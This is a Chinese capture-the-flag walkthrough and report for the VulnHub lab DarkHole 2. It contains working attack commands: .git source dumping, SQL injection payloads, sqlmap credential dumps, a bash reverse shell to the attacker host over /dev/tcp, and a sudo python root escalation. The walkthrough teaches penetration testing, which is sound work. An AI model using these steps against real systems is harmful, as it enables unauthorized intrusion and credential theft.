DarkHole: 2
来自 < DarkHole: 2 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.132
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.132

4,访问80端口开放的http服务

再扫描枚举网站子目录
gobuster dir -u http://192.168.23.132/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403

没有用户名密码无法登录

注意到nmap扫描出存在/.git目录,可以通过/.git/得到网页源代码

5,使用git泄露利用工具
export https_proxy="http://192.168.99.74:7897"
git clone https://github.com/BugScanTeam/GitHack.git
cd GitHack

python GitHack.py http://192.168.23.132/.git/

下载成功,阅读源码代码审计
cat dist/192.168.23.132/login.php

SQL 注入漏洞分析
在代码里,核心 SQL 查询语句是:
check = connect->query("select * from users where email='email' and password='pass' and id=1");
问题点
- 直接拼接用户输入
- email 和 pass 都来自 _POST,虽然经过了
mysqli_real_escape_string(connect, htmlspecialchars($_POST['email']));
但这种过滤并不能完全阻止 SQL 注入。
- email 和 pass 都来自 _POST,虽然经过了
mysqli_real_escape_string(connect, htmlspecialchars($_POST['email']));
- 过滤不完善
- mysqli_real_escape_string 只能转义部分字符,如果数据库使用了宽字节编码(如 GBK),攻击者可以通过构造特殊 payload 绕过转义。
- htmlspecialchars 是针对 HTML 输出的防护,对 SQL 注入无任何意义。
- 利用场景
攻击者可以构造恶意 email 或 password,例如:
' OR '1'='1
拼接后可能变成:
select * from users where email='' OR '1'='1' and password='' and id=1
这样条件恒为真,绕过密码验证。
6,直接开始原汁原味的手工sql注入

结果失败,没有任何反应。再拿sqlmap跑一下
sqlmap -u "http://target.com/login.php" --data="email=test@test.com&password=123456" -p email --batch --dbs

这一步是 sqlmap 的启发式检测,没发现明显异常,但不代表不存在注入。因为:
- 有可能注入点在 password 参数
- 也可能注入点需要特定 payload 才能触发
- 或者目标用了 WAF,需要绕过
那就不能从sql注入入手了
7,再尝试查看git提交日志信息

成功得到账户密码lush@admin.com/321

登录网页成功

8,注意到传参方式是通过id进行的,再次尝试手工sql注入
id=1' and 1=1 --+

id=1' and 2=1 --+

由此推测闭合方式为单引号。网络方便省事直接使用sqlmap跑
sqlmap -u http://192.168.23.132/dashboard.php?id=1 --cookie PHPSESSID=di102h4lt68oa9h484sn5m8a1l --current-db

得到数据库名darkhole_2
sqlmap -u http://192.168.23.132/dashboard.php?id=1 --cookie PHPSESSID=di102h4lt68oa9h484sn5m8a1l --batch -D darkhole_2 -tables

得到两个表名ssh,users
sqlmap -u http://192.168.23.132/dashboard.php?id=1 --cookie PHPSESSID=di102h4lt68oa9h484sn5m8a1l --batch -D darkhole_2 -T ssh -columns

sqlmap -u http://192.168.23.132/dashboard.php?id=1 --cookie PHPSESSID=di102h4lt68oa9h484sn5m8a1l --batch -D darkhole_2 -T ssh -dump

成功得到一个账户密码jehad/fool
9,ssh登录fool用户

登录成功之后尝试信息收集

存在三个用户,那么应该不会直接提权成为root,而是先横向移动到其他用户上
cat .bash_history

发现一些和黑客入侵痕迹的历史命令,而且本地有9999端口的服务.
ss -antp

尝试一下这命令
curl "http://127.0.0.1:9999/?cmd=id"

那么就可以进行横向移动的利用了,通过这个内网木马切换到losy用户
10,再重新登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机.
ssh jehad@192.168.23.132 -L 9999:localhost:9999

构造连接kali的命令:
bash -c 'bash -i >& /dev/tcp/192.168.23.128/4444 0>&1'
使用URL编码
bash+-c+%e2%80%98bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.23.128%2f4444+0%3e%261%e2%80%99
在kali的浏览器直接访问
kali进行监听:
nc -lvnp 4444
但是失败了。如果使用cat命令会发现: losy的密码是gang
http://127.0.0.1:9999/?cmd=cat%20~/.bash_history

11,尝试su到losy用户

查看提权操作
sudo -l

sudo python3 -c 'import os; os.system("/bin/sh")'

提权成功,得到flag

DarkHole 2 渗透测试报告
一、实验环境与拓扑
- 两台虚拟机网络均设置为 NAT 模式,保证内网可访问且便于实验隔离。
- 攻击机 IP:192.168.23.128
- 靶机 IP:192.168.23.132
二、信息收集
- 网络扫描
- 使用 ICMP 扫描确认靶机存活。
- 对靶机进行全端口扫描与服务探测,发现 HTTP 服务开放于 80 端口,并且存在一些隐藏目录。
- 网站内容枚举
- 利用目录扫描工具尝试访问网站子目录,但未获取有效用户凭证。
- 发现网站存在 .git 目录,通过 .git 获取网页源码。
三、源代码审计与漏洞分析
- 源码获取
- 利用 Git 泄露工具下载网页源码,并进行审计。
- 核心登录逻辑中 SQL 查询存在拼接用户输入的情况:
- 用户名和密码直接拼接在 SQL 查询中,存在潜在 SQL 注入风险。
- 虽有部分转义与 HTML 过滤,但无法阻止宽字节编码绕过或其他注入方式。
- SQL 注入分析
- 拼接逻辑使得攻击者可以构造条件恒为真的 payload 绕过验证。
- 初步手工尝试 SQL 注入未成功,进一步使用自动化工具探测也未发现明显注入点。
- 最终通过访问特定参数(如 id)发现注入点,确定闭合方式为单引号。
四、凭证获取与登录
- 通过 Git 提交日志分析成功获取部分账户密码。
- 利用这些凭证成功登录网页,进一步确认可访问受保护功能。
五、数据库信息获取
- 数据库探测
- 确认数据库名、表名及表字段信息。
- 在 ssh 表中获取了用户凭证,成功 SSH 登录用户 fool。
- 用户信息分析
- 靶机存在多个用户,直接提权为 root 的可能性低。
- 进一步检查发现本地存在监听端口 9999 的服务,可作为横向移动和权限提升入口。
六、横向移动与内网服务利用
- 端口与服务分析
- 使用本地 Socket 工具确认 127.0.0.1:9999 活跃。
- 访问该端口可执行命令,属于内网后门服务,实际权限为 losy 用户。
- SSH 隧道实现本地端口转发
- 利用 SSH 建立本地端口映射,将攻击机本地端口映射至靶机 9999 端口。
- 访问本地端口即相当于访问靶机本地服务,触发远程命令执行(RCE)。
- RCE 利用与反弹 Shell
- 构造反弹 Shell 命令通过 URL 访问执行,实现与攻击机的交互式 Shell。
- 在此过程中发现 losy 用户密码,通过本地文件读取进一步确认。
七、权限提升
- 切换用户
- 使用已知 losy 密码或本地 RCE 提权到 losy 用户。
- 提权到 root
- 查看 losy 用户可使用的 sudo 权限,发现可执行特定 Python 命令获得 root Shell。
- 成功提权,获取目标系统最高权限并获取实验 flag。
八、攻击链总结
- 初始访问:网络扫描 → HTTP 服务发现
- 信息收集:目录扫描 → .git 泄露 → 源码审计
- 漏洞利用:SQL 注入探索 → 数据库信息与 SSH 凭证获取
- 用户登录:使用获取的凭证登录 Web 与 SSH
- 横向移动:发现本地服务 9999 → SSH 隧道端口转发 → RCE
- 权限提升:切换至 losy → 使用 sudo 特权执行 Python 提权 → 获取 root